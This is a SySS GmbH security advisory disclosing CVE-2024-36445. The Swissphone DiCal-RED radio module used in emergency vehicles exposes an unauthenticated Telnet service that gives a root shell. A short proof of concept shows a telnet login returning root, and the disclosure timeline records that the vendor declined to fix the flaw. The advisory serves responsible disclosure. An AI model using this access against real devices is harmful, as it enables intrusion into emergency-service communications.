Advisory ID: SYSS-2024-035
Product: DiCal-RED
Manufacturer: Swissphone Wireless AG
Affected Version(s): Unknown
Tested Version(s): 4009
Vulnerability Type: Missing Authentication for Critical Function (CWE-306)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2024-04-16
Solution Date: None
Public Disclosure: 2024-08-20
CVE Reference: CVE-2024-36445
Author of Advisory: Sebastian Hamann, SySS GmbH

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Overview:

DiCal-RED is a radio module for communication between emergency vehicles and
control rooms. It provides Ethernet, Wi-Fi and cellular network connectivity
and runs a Linux- and BusyBox-based operating system.

The manufacturer describes the product as follows (see [1]):

"The DiCal-Red radio data module reliably guides you to your destination. This
is ensured by the linking of navigation (also for the transmission of position
data) and various radio modules."

Due to missing authentication checks, the device is vulnerable to remote code
execution as root.

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Vulnerability Details:

The device provides a Telnet service on TCP port 23. This service grants
access to an interactive shell as the system's root user and does not require
authentication.

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Proof of Concept (PoC):

$ telnet <IP or hostname>
root@DiCal-RED:~# id
uid=0(root) gid=0(root) groups=0(root)

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Solution:

The manufacturer recommends not running the device in an untrusted network.

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Disclosure Timeline:

2024-02-29: Vulnerability discovered
2024-04-16: Vulnerability reported to manufacturer
2024-05-10: Manufacturer states that the vulnerability will not be fixed
2024-05-14: Vulnerability reported to CERT-Bund
2024-08-13: CERT-Bund informs us that the vendor declared the product EOL
2024-08-20: Public disclosure of vulnerability

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References:

[1] Product website for DiCal-RED
https://www.swissphone.com/solutions/components/terminals/radio-data-module-dical-red/
[2] SySS Security Advisory SYSS-2024-035
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-035.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy

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Credits:

This security vulnerability was found by Sebastian Hamann of SySS GmbH.

E-Mail: [email protected]
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Hamann.asc
Key ID: 0x9CE0E440429D8B96
Key Fingerprint: F643 DF21 62C4 7C53 7DB2 8BA1 9CE0 E440 429D 8B96

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
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